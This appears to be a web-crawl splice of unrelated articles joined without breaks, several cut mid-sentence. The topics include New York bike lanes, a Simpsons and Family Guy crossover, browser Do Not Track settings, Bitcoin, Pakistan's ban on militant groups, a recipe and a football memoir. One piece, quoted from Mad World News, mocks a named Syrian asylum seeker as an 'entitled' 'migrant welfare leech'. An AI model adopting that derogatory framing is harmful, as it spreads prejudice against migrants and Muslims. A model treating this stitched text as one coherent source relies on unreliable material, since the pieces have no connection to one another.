lanes will be all over the city, not just in the core of Manhattan,” Trottenberg said, citing planning efforts in East New York, Long Island City, Ridgewood, and Washington Heights. “We’re looking to create robust, neighborhood bike networks,” she said. DOT will be installing protected bike lanes on Fort George Hill in Upper Manhattan, the Pulaski Bridge between Brooklyn and Queens, and Paerdegat Avenue North in Canarsie, in addition to studying requests from community boards for protected lanes on Amsterdam Avenue, Fifth Avenue, and Sixth Avenue in Manhattan. Most if not all of the projects that are definitely moving forward, however, entered the pipeline during the previous administration. Trottenberg also rattled off statistics on bike parking. This year, the city has installed nearly 1,200 bike racks, including 24 on-street bike corrals, and converted nearly 1,000 former single-space meter poles to bike racks. That brings the total number of bike racks citywide to 21,300. In recent years, DOT has been putting streets on road diets to calm traffic, but the agency leaves an “extra-wide parking lane” to both accommodate double parking and give cyclists some breathing room, instead of installing a bike lane. “People in the community might not initially value the importance of a street to the bike network until there’s some initial calming and the character changes,” DOT Director of Bicycle and Pedestrian Programs Josh Benson said, citing Vanderbilt Avenue in Prospect Heights and 44th Drive in Long Island City as examples where DOT later converted extra-wide parking lanes into bike lanes. “People don’t necessarily envision a street as a bike-friendly street,” he said. “Once you make an improvement, people take to it and opinions change.” Transportation Alternatives Executive Director Paul Steely White noted the growing political support for cycling across the city. “Our City Council is now solidly super-majority pro-bike. First time that’s maybe ever happened,” he said. “On the community board level, hardly a week goes by that we don’t see a new resolution in favor of protected bike lanes, complete streets, Citi Bike expansion.” The most immediate challenge for bicycling in New York may be Citi Bike itself, which operator Alta Bicycle Share has struggled to run efficiently, leading to financial troubles and an expansion timetable that never seems to advance. “The mayor’s ultimate goal, and his assignment to me, is ‘I want Citi Bike in all five boroughs,'” Trottenberg said. “There’ll be some expansion next year… I can confidently say 2015 and not get myself in trouble.” Still, the much-anticipated restructuring of the bike-share contract with the city, under which REQX Ventures would purchase a controlling stake in Alta and double the size of the system, has yet to materialize. “For the city, our negotiations with REQX are essentially done,” Trottenberg said, directing questions to Alta and REQX. “Alta are not the easiest guys in the world to negotiate with. I don’t think that’s a secret… We’re very keen to have the negotiations done, and to urge them to hurry it along, but in the end these are private entities negotiating amongst themselves. They don’t answer to the city.” Police departments have a big role in a city’s bike-friendliness, and Trottenberg said she discussed Operation Safe Cycle — critiqued for issuing bogus tickets and focusing on harmless offenses — with NYPD Transportation Chief Thomas Chan yesterday. “It’s a first big effort. There are some lessons learned about how we can do it better, and he and I talked in general about what are some of the best models of enforcement that we can look at around the world,” she said. “I want to give the NYPD credit for engaging in culture change in this.” “The NYPD is still catching up to the times,” TA’s White said, adding that a recent meeting of TrafficStat included a section where precinct executive officers were chewed out for parking in bike lanes. NYPD wasn’t at today’s event, and some precincts are taking street safety more seriously than others. “We’re really going to be highlighting the exemplary precincts and trying to bring all the precincts up to that level,” White said. “There are very positive signs that they are moving things in that direction.”It’s finally time for Homer Simpson and Peter Griffin to bro down and drink up. On Sept. 28, from 9 p.m. all the way to 10 p.m., the animated worlds of Fox’s The Simpsons and Family Guy will collide colossally when Family Guy’s season premiere features the Griffins breaking bread/donuts with the Simpsons. Friendships are formed between the two families before Homer and Peter get in a massive fight over their respective beer of choice. Dying to know how this crossover came to life? Wondering what to expect when the Quahog crew cruises over to Springfield? Still trying to free up some DVR space by powering through the leftovers of the FXX’s Simpsons marathon? You’re on your own on that last one, but Family Guy co-showrunner/executive producer Richard Appel gave EW some insight and intel into the long-awaited mashup. 1. Family Guy received permission from The Simpsons to borrow Springfield for an episode… just as long as it took good care of the place. Certainly in Family Guy‘s favor was that the person doing the asking, Appel, was more than just a fan of The Simpsons—he was a writer-producer on the show for four seasons. In short, Simpsons creator Matt Groening and executive producers James L. Brooks and Al Jean knew at least that Homer and his family were in responsible and knowledgeable hands. “From the start, Al and Jim and Matt were on board with it being an episode of Family Guy… with the condition ‘Do us proud, please don’t kill Marge, and let us read the script,” says Appel. “But there was a welcomed level of trust on both sides that they weren’t going to rip the script to shreds and we weren’t going to rip Springfield to shreds…. We said to Jim and Al and Matt: ‘It’s not our idea to do something that you’d be watching for the first time when it airs and say: What have we done? We want it to be something you’ll also like.'” That did require a moment of reassurance, though. The script for “The Simpsons Guy,” written by Family Guy co-executive producer Pat Meighan, is self-effacing and self-aware, winking at criticism that Family Guy is a rip-off of The Simpsons but also that The Simpsons is past its prime. “Peter Griffin takes a few shots at The Simpsons, and Jim was like ‘Oh, is that necessary?'” recalls Appel. “And I said ‘Jim…’ And as soon as I just said ‘Jim…,’ he was like “No, you’re right, you’re right! My God, you take so many shots at yourself, Peter has to give back. And I said, “Thank you.'” The Simpsons producers were invited to attend the table read for the episode and give notes, but “to their credit, they only had two lines that they noted,” says Appel. One of them involved a line by Hans Moleman, who runs Peter down with Peter’s car. “When he gets out of the car, originally it was something like, ‘Just like the Farmers Market all over again,'” says Appel. “And Matt called to say, ‘He’s such a loveable guy. Do we have to now establish as his history that he mowed down innocent people at a farmer’s market?’ And I said, ‘That’s a pretty mild request.’ So we changed that.” 2. There was a reason that Family Guy didn’t make a crossover earlier in the show’s run. And it wasn’t because of the rivalry between the shows, which folks on both sides describe as healthy and friendly—even though they have taken swipes at each other over the years. (“I’ve worked with Matt and Jim and Al and [Family Guy creator] Seth [MacFarlane], and I know that they’re all fans of one another,” Appel says. “And I know that when Family Guy came on the air, the person who was happiest was Matt because he thought it was great for animation.”) Rather, the producers felt that TV watchers needed an accumulated knowledge of Family Guy‘s world and tone to appreciate the differences between the two series and to have their expectations for a crossover episode “met and upended,” says Appel. “You have to have a pretty strong familiarity with both shows to think, ‘Now let’s see what happens when they mix.’ It’s a rare thing that any show is on the air for 15 years, much less 25, where you get to play with that.” 3. When the actors from both shows gathered to read through the script for the first time, the vibe was… “Electric” is the word used by Appel, who notes that the packed room burst out in spontaneous applause when Dan Castellaneta, who voices Homer, delivered his first line. There was one problem, though. “After the table read, I did say to Seth, ‘We’re six minutes long,'” Appel says with a chuckle. “And he said, ‘Um, I would not worry about the length. Fox will be happy making this an hour long.” 4. Family Guy’s writers spent considerable time finding fun(ny) ways for the characters to pair up. Our two overweight, immature, no-shame patriarchs, Peter and Homer, are the must-see matchup. And the second-biggest story in the episode involves Stewie skateboarding and making prank calls with his new idol, Bart. “The idea of Stewie being charmed and enamored of Bart’s, almost comparatively speaking, Huck Finn rakishness and rascaliness, in contrast to Stewie and what he has has done on Family Guy over the years, presented itself pretty quickly,” says Appel. (The episode also toys with signature characteristics of both shows, such as finding a way for Stewie to utter Bart’s catchphrase “Eat my shorts.”) Meanwhile, Meg will get some much-needed lessons in self-confidence from Lisa, and Marge and Lois will do some mom-bonding. Later in the brainstorming process of the episode, MacFarlane pitched an idea to give Brian and Santa’s Little Helper a joint story. “Seth always loved the difference between those two dogs,” says Appel. “Those characters could not be more different. Brian is this writer, would‑be intellectual, if anything overthinker and Santa’s Little Helper, as Brian says, speaks a ‘gutter language.’ He just barks.” (Chris was also worked into Brian-Santa’s Little Helper plot.) How many of your favorite Springfield residents will make an appearance? There are 25 speaking parts for Springfieldians, and dozens more are briefly seen during a twist later in the episode that brings “similar” residents from both towns together. “You can’t get around the fact that both worlds have an anchorman and both worlds have a sea captain,” says Appel, adding: “Consuela and Bumblebee Man don’t really have that much in common, but we knew that seeing them together would get a laugh.” The Family Guy writers printed out a list of the hundreds of Simpsons characters to remind themselves of their myriad options. “It was kind of like being at a great hotel Sunday brunch where you just walk down the line and think, ‘Sure, I’ll have a little Dr. Nick and Patty and Selma. Yes, I’ll take two Sideshow Mel’s,'” says Appel. “But that was kind of the fun—after the story is all there, you can go back and start [adding in] things not just for the fans, but for us. We’d like to see them too.” 5. Among the many targets of this crossover episode? Crossover episodes. “The Simpsons Guy” winks at the stigma of crossover episodes being forced, ratings-grabbing gimmicks, with a little help from guest star Julie Bowen. “We hope it will be a very satisfying experience for the true fans, who probably if they’re true fans, will approach the episode skeptically,” says Appel. “And we acknowledge that at the top of the show, where the history of crossover episodes on network TV isn’t necessarily a glorious one. We’re inviting them from the start, at our own peril, to hold us to pretty high standards and say, ‘Was it worth it? Does this feel like a stunt or did this feel like a satisfying, once-only melding of these two worlds?’ As long as it’s 51 percent who like it, that’s fine.” 6. At first, the Griffins and the Simpsons didn’t see eye to eye. To ensure a seamless, visually pleasing fusion of the two shows, Family Guy supervising director Peter Shin—who had previously worked as a Simpsons layout artist—made a few adjustments to Peter & Co. for their Springfield visit. “We had to dim our whites on the Griffins’ eyeballs so they didn’t jump out and [look] too bright compared to the Simpsons,'” he notes. (Also, longtime Simpsons supervising director David Silverman dropped by the Family Guy offices to conduct a few tutorials for the animators.) 7. Warning: Peter and Homer will show some skin. The episode hopes to clean up in laughs with a “sexy” car wash scene featuring a scantily clad Homer and Peter, set to Def Leppard’s “Pour Some Sugar on Me.” “The animators thought of very creative ways to use Peter and Homer’s combined 500 pounds pressed against car windshields that never left us without a literal explanation of what innocent body parts we were seeing,” says Appel. 8. Beer is the cause of—not the solution to—all of the problems between Peter and Homer. At the beginning of the episode, the two become fast friends. “When they find out what they each do, Peter says, ‘What’s a nuclear power plant?’ And Homer goes, ‘I don’t know.’ When Homer finds out that he works in a brewery, he says, ‘What’s beer really like?’ We explicitly have fun with some of the similarities between the two characters. They do both like beer, like a few other American men.” Alas, that leads to a major rift between the two. Hints Appel: “Homer discovers something that he thinks Pawtucket Pat has in common with Duff. And Mr. Burns’ lawyer was in Mo’s at the time and offers his assistance.” 9. How bad do things get between Peter and Homer? They have a nuclear chicken fight that lasts more than seven minutes. “This was fun for the animators in a different way because it was an entirely new town to destroy,” says Appel. “[The chicken fights] go all over the world but they start in Quahog, and this one starts in Springfield. So, right off the bat you think ‘All right, well, that’s a clean slate. What can we momentarily take down that they spent 25 years building?'” A highlight for the Family Guy team? Witnessing the recording session in which Castellaneta had to lay down all of Homer’s grunts, groans, and moans during the chicken fight. “One of the funniest things I’ve ever witnessed was the [seven] minutes of watching Dan watch the fight sequence on a monitor and ad-lib every sound effect that went with it,” says Appel. “It’s just a tribute to him that Homer’s sounds can make you laugh harder than most lines in any other TV show.” 10. The man that has been sandwiched in between The Simpsons and Family Guy on Sunday nights makes a drive-by, er, fly-by appearance. Yes, Bob Belcher (voiced by H. John Benjamin) from Bob’s Burgers has a brief cameo with Homer and Peter in a plane. (MacFarlane is a fan of Bob’s Burgers, as well as Home Movies, which, like Bob’s was created by Loren Bouchard and also features the vocal work of Benjamin.) The joke about Bob’s Burgers needing a protected time slot “was a line that gave the studio a little pause,” says Appel, “but I reminded them: We’re taking an even bigger shot at The Cleveland Show,” the Family Guy spin-off that Appel co-created. 11. Is there any chance of Homer & Co. paying a visit to Quahog in a future episode of The Simpsons? While The Simpsons‘ Jean praises the episode and says that Family Guy “covered the territory really well,” he says there are currently no plans for that. He also notes that the Simpsons team is turning their attention to Nov. 9’s “Simpsorama,” in which the Planet Express crew from Futurama pay a visit to Springfield. And what about the possibility of a Family Guy sequel to “The Simpsons Guy”? “We say explicitly it’s a one-time only thing. But no one saw Archie Bunker’s Place coming either,” quips Appel. “So you never know.”A Muslim migrant who claims to be unable to work, recently moved to Sweden and wanted taxpayers to foot the bill for his three wives and twenty children. He was surprised to learn that even in Sweden, there are limits. Mad World News reported: Muslim Wants Taxpayers To Fund 3 Wives & 20 Kids, Border Control Answers An entitled Syrian asylum seeker claims he is “too sick” to work or learn his host country’s language, so he’s demanding that taxpayers foot the bill for all three of his wives and 20 children. Just when he thought he was going to get his way, the migrant welfare leech was stopped by border control and given a response that wiped the greedy smile right off his face. When 47-year-old Daham al-Hasan left Syria for Europe, leftists lauded his bravery and immediately welcomed him into Denmark. However, they soon realized that the migrant was out for all the benefits he could get and that the $32,066 Denmark afforded him per year wasn’t enough to suit the out-of-work asylum seeker. So, he headed to Sweden, where he would gain an extra paycheck per month for each of his 20 children. Unfortunately for him, he didn’t realize he was just a little too late to board the welfare train, thanks to Sweden’s conservatives changing their migration policy. According to Fria Tider, al-Hasan, a Syrian migrant who claims he is too impaired to get a job but not to continue his trek across Europe, left his home and lavish benefits in Denmark after hearing Sweden would offer more. You can imagine his surprise when Swedish border control stopped him on his way in, telling him that he cannot bring his 2 extra wives and their 12 other children in with him to claim more in welfare. After leaving Denmark with his first wife and 8 of his 20 children, al-Hasan summoned the second and third wives and his 12 other
which accumulates everyone’s pet idea on its way through the democratic processes. The test of the strategy will be whether there is anything substantive that it doesn’t include. Because genuine priorities and real strategies are as much about what you decide not to to do as what you do decide to do. For the Liberal Democrats, that should mean a prioritisation on building up a larger core vote – with the honest understanding that therefore doesn’t simply mean trying to regain all the places we used to hold. It means winning in a different mix of places, some old and some new, but which are based on a much more coherent and hence resilient appeal rather than the random lucky accumulation of where happened to have the hardest working teams appear of their own volition (see expanded explanation here). The best time, of course, to make such as switch is now, when the number of incumbents is (sadly) at an all time low and hence there is far more flexibility to switch areas of priority.Have you turned on Do Not Track in your browser of choice? Probably not. Despite the fact that nearly every popular browser on the planet supports sending DNT headers, very few users have bothered to enable the privacy-focused feature. Part of the problem is that it’s not well advertised in any browser. If users don’t know DNT exists — or what it does — they’re certainly not going to seek out the switch. As of December 2012, roughly 90% of Firefox users hadn’t toggled the setting. In Google Chrome, the DNT setting is buried and you aren’t given any clue as to its existence when you install the browser. To turn it on, you need to head to chrome://settings and then click the show advanced settings link. You wouldn’t want DNT on the top level, after all, where users would see it right away, would you? And what about the way Google describes the setting? “Send a ‘Do Not Track’ request with your browsing traffic,” doesn’t give the average user any idea what effect checking the box will have, and there’s no link provided to any online documentation that would tell them. A checkbox and a vague description is all users of the world’s most popular web browser have to go by. How about Internet Explorer? You may already know that Do Not Track is enabled by default in IE10 — the decision by Microsoft to turn it on via IE’s Express Settings wizard has drawn the ire of other supporters of DNT. So how do you enable or disable it after the fact? Under IE10’s internet options screen on the advanced tab, of course, where it’s buried half way down the list under the security heading. Again, there’s no description and the language isn’t going to make sense to most users: “Always send a Do Not Track header.” And strangely, Microsoft puts an asterisk next to the setting — signifying that changes to the DNT preference don’t take place until you reboot your computer. Really? A system restart is necessary to turn Do Not Track headers on or off? Also disappointing is the fact that Microsoft, too, has neglected to link to any sort of a help file that would tell users what impact DNT actually has. Surely Firefox promotes DNT, so that its privacy-minded legions know where to find the box should they want to check it? Not so much. But at least the setting is in an obvious spot, under options on the privacy tab. It’s even right at the top of the screen, and there’s a helpful link underneath the three options provided. Mozilla offers a “don’t send any DNT preference” option, too, so you’re not even restricted to opting in or out. The online help is incredibly detailed and provides loads of information about what Do Not Track is and how it works, as well as step-by-step instructions on how to change the setting in Firefox. Opera is more on par with Chrome. Once again, you’re not informed the Do Not Track toggle exists and it’s buried in the advanced section of the browser’s settings. Once you make it there, clicking into security reveals the checkbox. On a positive note, Opera’s language is more likely to be understood by users: “ask websites not to track me.” On a not-so-positive note, there’s no link to any sort of detailed description that might help users learn what DNT is all about. The way Do Not Track is currently implemented in top browsers is enough to make anyone think that it’s not a very important piece of functionality. It’s even beginning to look like Mozilla itself doesn’t see much of a future for it. The Foundation recently decided to block third-party cookies on websites, a move that is much more likely to have a real impact for Firefox users in the immediate future. Indeed, DNT feels like a mere afterthought lumped in among other settings like whether or not to send crash reports enabling animated images. That’s confusing, given all the heat Microsoft has taken over its decision to roll DNT by default. If others are so concerned, you would think that Do Not Track is something that would be deserving of more exposure. Is that concern even warranted? Research from a team at Stanford suggests that less than 4% of all online ads in 2009 would have been affected by a user’s Do Not Track setting. That number has grown, but it’s only expected to hit 7% of total online ads by 2014. Other forms of advertising remain much more widely used — contextual ads and demographic targeting, for example. Even if that percentage does rise above 7%, the chance that a large number of web users would ever enable Do Not Track remains slim. On top of that, privacy-minded power users are almost certainly taken matters into their own hands and using add-ons, extensions, and opt-outs that have far more impact than DNT was ever intended to have. Many are blocking ads completely, which again renders Do Not Track useless. The reality is that the real world impact of Do Not Track is never likely to be that great. Why, then, not decide that the time has come for DNT to do what it was designed to do for those who want to use it — or acknowledge that it was a good idea and nothing more, and that it’s time to pull the pin?Today, Marvel published Amazing Spider-Man #699, the follow up to the explosive twist in Amazing Spider-Man #698. So, you know, spoilers. But if you’d thrown your arms up in the air at the dead Peter Parker-in-Doctor-Octopus’ body, and had sworn off picking up the next issue, maybe this will change your mind. Or maybe it won’t. You see, Peter Parker isn’t dead. At the beginning of the new issue, the SHIELD medical team get to work and revive his crashing body. And then we get a narrative from Peter Parker’s point of view as he explores his new body… and its memories. Firstly, we were bang on the money with this theory and where it all began. But more than that, we discover events that occurred before the planned marriage of Aunt May and Otto Octavius. And exactly what they got up to with Doc Ock’s ninth appendage. So not only do we get this revelation but Peter Parker has to experience having sex with his aunt, first hand. Why does it feel that this could be a Key Issue for collectors? Here’s the money shot. As it were. Comics courtesy of Orbital Comics, London. Launching on Thursday Dec 6th 2012 the ‘Torchsongs and Fire Hoses’ issue of The Illustrated Ape magazine at Orbital Comics sponsored with an exhibition of artwork from the issue running from December 6 to January 6. This 200 copy limited edition publication comes in a ‘Take Away Gallery’ bag with a 50 page comics section, CD & special Monkey Shoulder gift. Contributing artists include: Mina Milk, Debbie Griffin, Marko Matysik. Anthony Ausgang, Matt Valentine, Molly Crabapple, Billy Chainsaw, Henry Hate, Jason Atomic, Jack Mclean, Carl Stimpson, Scott Jason Smith, Dwam Ipomee, Paul Ashley Brown, Trina Dalziel, RiotQueer, Nigel Burch, Jacob Stead, Sina Sparrow, Jessica Kemp, Beibei Nie, Bern Campbell, Madoka Nagata and Zak Smith. About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist. (Last Updated ) Related Posts None foundSeveral factors including China’s economic situation have made the Bitcoin surge different from what was the case in 2013 when the price first rose above the $1000 tag but later reversed. As a result, the rising price of Bitcoin today is not likely to suffer a similar fate. Going by its record up till 2016, Bitcoin has put several economic theories in doubt and come up with an established price that cuts across multiple exchanges. Below are some of the observed factors that made it happen: China China has become the top country for Bitcoin in the build up to 2016. Though it has a large concentration of Bitcoin-related activities, the use of the digital currency to prevent losses against the weakening yuan pushed several new users to join the bandwagon. This trend will continue into 2017 according to current reports that say the yuan is likely to see more volatility against the U.S. dollar after the China Foreign Exchange Trade System which operates the country’s foreign exchange market changed the way it calculates a key yuan index by increasing the number of currencies in the basket from 13 to 24 starting Jan. 1. Increased Internet use Global Internet usage which has increased the information dissemination about the digital currency as well as its technological benefits also played a role in the past three years. As a result, more people who were hitherto not interested in the digital currency have now started paying more attention today. They seek and get firsthand information easily by watching price charts and following happenings in the markets to enable them make wise investment decisions. Money Transfer Remittance to key countries like Philippines, India and Nigeria which top the list of the world’s receiving countries according to the World Bank have been made easier with the discovery of Bitcoin for payments. Traditional banks charges for the transfer of money from one point to the other particularly in least developed countries mostly in Africa still go as high as 10%. Bitcoin has offered its users the same service at a better exchange rate and for less charges. Diversity of use There is a lot more diversity now unlike how it used to be when the market cap was about $12 billion. Today, there are more merchants, more users, more means of buying and selling Bitcoin without hassles, more wallet providers, trading platforms, more understanding of how Bitcoin works and follow its investment track and more reasons to use Bitcoin. In the case of Zimbabwe and Venezuela, for example, it is to escape the hyperinflation in these countries; it is currency controls for China and India; remittance in most parts of Africa; as a hedge and speculative investment tool in most parts of Europe and North America etc. Media Unlike in 2013 after the Mt. Gox collapse, positive news of Bitcoin rise is now starting to get the attention of the mainstream media which has the potential to make it gain the interest of a larger number of investors. This has been the case not only in the US and Europe but also in Japan, India and China which are huge markets for the world’s top digital currency but hardly hear about it in the media. The media hype is crucial as the war on cash is pushing countries to impose limits such as in Spain and Greece. This will eventually dawn on more people with time and present a massive growth potential for Bitcoin as well as some metal assets. Volatility drop The rise in the price of Bitcoin today has been less volatile than when it had a similar push in 2013. There hasn’t been huge crashes in the price swings which show a clear distinction in trends as it happened then and now. With a recent paper by Chappuis Halder & Co. showing that the volatility of bitcoin is forecasted to reach a similar level as other current fiat currencies by 2019, this is a huge relief as it will possibly make the pricing methods of Bitcoin possible. Conclusion In all, the economic realities that have emerged between 2013 and today have forced many people to seek alternate monetary solutions globally. The market outlooks that say more emerging markets are likely to see greater Bitcoin adoption in 2017 are in line with the ongoing trends highlighted above. It is a different world from what happened in 2013. The Bitcoin trend will continue for a bit longer before there could be a slowdown – if there would be any. In this perspective, it is right to say that the Bitcoin bubble has not even started yet.In all 12 outfits added to proscribed organisations’ list which now features 72 groups ISLAMABAD: Pakistan has decided to ban the Haqqani Network, Jamaat-ud-Dawa (JuD) and 10 more organisations in a move described by security analysts as a ‘paradigm shift’ in the country’s security policy. Confirming the development, senior officials told The Express Tribune that a formal announcement to this effect would be made in ‘coming days’. The decision came a day after the US State Department declared the fugitive chief of the Tehreek-e-Taliban Pakistan Mullah Fazlullah as a ‘Specially Designated Global Terrorist’. Mullah Fazlullah had claimed responsibility for the December 16 bloody massacre of schoolchildren in Peshawar. The methodical killings of the schoolchildren prompted an overhaul of the country’s policy to counter the menace of terrorism. Government and opposition parties approved a wide-ranging National Action Plan against terrorism which, inter alia, envisages establishment of military courts to expedite trials of terror suspects. The Haqqani Network was designated as a terrorist organisation by the United States in September 2012. Subsequently, the UN Security Council’s Taliban sanctions committee also added the group to a UN blacklist. The network, founded by Afghan warlord Jalaluddin Haqqani, has been blamed for some of the most spectacular attacks on US-led foreign forces in Afghanistan. The network was believed to be using North Waziristan as a springboard for launching such attacks until the Pakistani military launched Operation Zarb-e-Azb in mid-June, last year. Security analysts say that banning the JuD is also a significant development as India, as well as the US, have long considered the charity run by Hafiz Muhammad Saeed as a front for the Lashkar-e-Taiba militant outfit which has been blamed by New Delhi for masterminding the 2008 terrorist attacks on landmarks in Mumbai. “It’s our first step towards execution of the National Action Plan. The nation will see more positive steps towards dismantling militant groups. Both civilian and military leadership decided to ban the Haqqani Network and Jamaat-ud-Dawa,” a senior intelligence official confirmed to The Express Tribune on Wednesday. The decision will certainly be welcomed by Washington and Kabul as well as New Delhi, analysts believe. Pakistan banned 12 new organisations days before US Secretary of State John Kerry visited Pakistan this week, officials at the interior ministry revealed. With this latest addition, they explained, the number of proscribed outfits in Pakistan has reached 72. Around 23 banned organisations were functioning with different names — like Jaish-e-Muhammad was operating as Khuddam-e-Islam or Al Rahmat Trust, they stated. According to the list – a copy of which is available with The Express Tribune – the government banned Harkat-ul-Jihad Islami, the organisation which is accused of conducting terrorist attacks in Pakistan and India. Its operational commander, Ilyas Kashmiri, was killed in a US drone strike in South Waziristan in 2011. The list also features Harkat-ul-Mujahidin, the group accused of operating in disputed Kashmir state. Falah-e-Insaniat Foundation, a welfare wing of the JuD, has also been banned. The government has also outlawed right-wing organisation Ummah Tameer-e-Nau, which is accused of supplying sensitive information to militants. Similarly, the government has also banned Haji Khairullah Hajji Sattar Money Exchange, Rahat Limited and Roshan Money Exchange which were placed under sanctions by the UN Security Council and the United States in 2012 as according to them both were being used by Taliban commanders to fund operations in Afghanistan and Pakistan. The Al Akhtar Trust and Al Rashid Trust have also been banned for working with al Qaeda and Jaish-e-Muhammad and facilitating activities of both groups. Former interior secretary Tasneem Noorani described the development as a significant move toward the execution of National Action Plan against terrorism. “This move shows that the government is serious to dismantle terror groups in the country,” he said. “The ban on Haqqani Network means distinction of good and bad Taliban no longer exists in Pakistan,” he told The Express Tribune. JuD Islamabad chapter’s spokesperson Asif Khursheed said: “Jamaat-ud-Dawa is a purely welfare and charity organisation and has never been involved in bad motives. Even, the Supreme Court of Pakistan has justified our stance in the past,” he claimed. Another JuD office bearer, however, revealed that last week the “home department sent us a letter informing us that the Jamaat is being kept on the watch-list with some two dozen other organisations.” The executive director of the Pakistan Institute for Peace Studies, Amir Rana, also called it a ‘significant move’. “This shows the civilian and military leadership are serious to choke militants operating from Pakistan’s territory,” he told The Express Tribune. Banning an organisation means freezing its assets, blocking funding sources and monitoring them properly, he said. In the next move, the offices, infrastructures and networks of the proscribed groups will be banned, he added. Though there is no specific mechanism of banning any organisation, the government can review its policy towards banned outfits if they change their behaviour. Published in The Express Tribune, January 15th, 2015. Read full storyNANCY'S CHEDDAR CHEESE SAUCE 1/2 cup heavy cream 2 ounces cream cheese, diced 4 ounces cheddar cheese, shredded 1/4 teaspoon dry mustard Pepper, to taste Heat the cream over medium-low heat until warm. Add the cream cheese and whisk until melted. Add the cheddar cheese about 1 tablespoon at a time, letting it melt before whisking in more. Stir in the dry mustard and pepper. Makes about 14 tablespoons Do not freeze Per Tablespoon: 76 Calories; 7g Fat; 3g Protein;.5 Carbohydrate; trace Dietary Fiber;.5g Net Carbs Per 2 Tablespoons: 152 Calories; 14g Fat; 5g Protein; 1g Carbohydrate; trace Dietary Fiber; 1g Net Carbs This sauce was pretty easy to make. It looked like it had a good consistency in the pot, but it had a somewhat grainy texture even though I very gradually whisked in the cheese. I wonder if Deluxe American cheese would produce a smoother sauce. Although the sauce tasted pretty good over broccoli, I think I prefer just plain old butter on it. The pepper was my addition. It seemed like it needed a little flavor boost.Karim al-Banna, a 23 Egyptian self-professed atheist, says wants to leave his native country, as he awaits an appeals court decision on whether to uphold his 3-year sentence. An Egyptian appeals court is scheduled to decide on Monday whether to uphold a 3-year sentence against a 23-year-old atheist for “insulting Islam”. Karim al-Banna, an engineering student from Alexandria who is a former member of the Muslim Brotherhood, now says that he wishes he could leave Egypt. “All I want now is to leave Egypt. Life is not possible for atheists here,” Banna told AFP. Banna, who said that he became an atheist after growing disillusioned with the Muslim Brotherhood, was arrested in November after going to the police to sort out a dispute with his neighbours. He was instead arrested for his atheism. He spent 55 days in jail before being released on bail. “They are trying me only because I am an atheist. I have not insulted Islam, they think that atheism in itself is degrading to Islam,” Banna said. Banna is not the only atheist to face legal troubles in Egypt. In February, Sharif Abd al-Adheem, a student at Suez University, was sentenced to a year in prison and a fine for “insulting religion”. The president of Suez University reported Abd al-Adheem to the authorities for setting up an atheist group on Facebook. Both the cases against Abd al-Adheem and Banna were criticised by Egyptian rights group, the Association for Freedom of Thought and Expression (AFTE). “The continued issuing of legal rulings against citizens in response to their right to express themselves in religious matters is a solidification of the restrictions on freedom of expression in Egypt,” AFTE said. This was echoed by Human Rights Watch, who said that atheists are among Egypt's “least-protected minorities”. “Egyptian authorities need to be guided by the constitution and stop persecuting people for atheism,” the group said.New and improved version hits Early Access next month Ndemic Creations' Plague Inc. is one of those mobile games to do so well that it would be silly not to bring it to other platforms, in this case PC. An expanded version of the game, Plague Inc: Evolved, is headed to Steam Early Access on February 20, 2014. This release will have both coopearative and competitive multiplayer; custom scenarios (e.g., plagues and worlds) that can be shared on Steam Workshop, which sounds potentially hilarious; improved graphics; and more data in the form of stats, graphics, and replays. As for the original mobile version of Plague Inc, that's not going anywhere. According to Ndemic, "We have designed Plague Inc: Evolved carefully so that updates can easily be applied to games on PC and mobile. We still have loads of plans for Plague Inc. and lots of new updates are on their way." A price hasn't been given yet, but expect the PC game to cost more than $0.99. Evolving onto PC 20th February 2014 [Ndemic Creations] You are logged out. Login \| Sign upPolice in Brooklyn say the boyfriend of an MTA conductor who was fatally shot while walking home earlier this week will be charged with murder once he is captured. Authorities are searching for 43-year-old Zire King. They believe he shot 41-year-old Jacqueline Dicks on Monday night. Dicks was shot in the head in East New York. Police say they found surveillance video of King and Dicks talking before the shooting. King initially told police that he saw a group of men walk up to his girlfriend, but investigators say the evidence points back to King. "We went back and got video, very prominent video from that area where he was. There were no three males running in the streets with hoods up, there was none of that," said NYPD Chief of Detectives Robert Boyce. "We have them engaging in conversation. We also have him going back to his car directly after. We did a search warrant on that car and we found a.40-caliber handgun in the trunk of the car. We believe that to be the murder weapon. Investigators say King and Dicks lived together with a 4-month-old child. They believe the shooting was a domestic incident.When people think of Italian football nowadays, they think of defense. Maybe kids dream of being Giorgio Chiellini or Leonardo Bonucci. But let me tell you something…. I didn’t start out wanting to be a defender. Who would want to be on the back line after having watched striker Paolo Rossi score six goals in the 1982 World Cup? I can still remember midfielder Marco Tardelli firing in a goal from the top of the box in the final. I remember his celebration, the look on his face after he scored, the way he ran with two fists in the air, screaming. Like many other boys in Italy, I was sitting in front of our TV — I was just nine years old — when the final whistle blew, when Italy became world champions and Nando Martellini’s voice called out on the broadcast. “Campioni del mondo! Campioni del mondo! Campioni del mondo!” I don’t think there was one kid in Italy after that who didn’t kick a ball against a wall and not hear Martellini’s voice cheering them on. When I first arrived at Napoli, I was the ball boy, which meant that I got to watch practices as the legends trained. Then, once I joined the youth team as a young teenager, I was a midfielder just like Tardelli. That is, I was until the day one of the directors at the youth academy came up to me and told me that I was going to change positions. “Fabio, I prefer you to be a defender,” he said. And that was it. No explanation, no reasons. I was shorter than most of the other guys on the pitch, so I didn’t look like a defender, and certainly not a center back. But from that moment on, that was my position. Lucky for me, I loved playing defense. And I was pretty good at it, too. Looking back, I owe my career to two things. First, I learned by watching the best. When I got to Napoli, I played alongside Ciro Ferrara —who played more than 500 games for Napoli and Juventus and is one of the greatest defenders in the history of Italian football. Ferrara, like many Italians, didn’t mince words. He would tell you where you needed to be, what you needed to do, and whether or not you had any chance against your opponent. I got to know Ferrara in 1987, during my days as the ball boy at Napoli, when the team won its first Serie A title and I stood on the pitch with them. It was a magical season. I learned so much from all the players, but one in particular. The genius. Diego Maradona. Everyday, I watched the legend. And when I got called up to train with the first team, I said, “I’m finally going to train with Maradona.” Ferrara just looked at me with a smile on his face. “No, no, you don’t just go and train with Maradona,” he said. “You don’t just go and tackle Maradona. The ball never leaves his feet.” And then he handed me a ball. “Here, take this, because you will never take a ball from Maradona,” he said, smiling. “You can, however, take one from me.” Eventually, I finally got to practice against Ferrara and the rest of the first-teamers, including Maradona, my idol. One day, Maradona started to come toward me, the ball tapping off his toes with each dribble. Without a thought, I made a move for the ball. I tackled Maradona. The genius! The legend! Suddenly I felt the eyes of my teammates and my trainers on me. Then, I heard Ferrara’s voice in my head. You don’t just tackle Maradona. The only person smiling was Maradona. And at the end of training, he walked up to me and handed me his 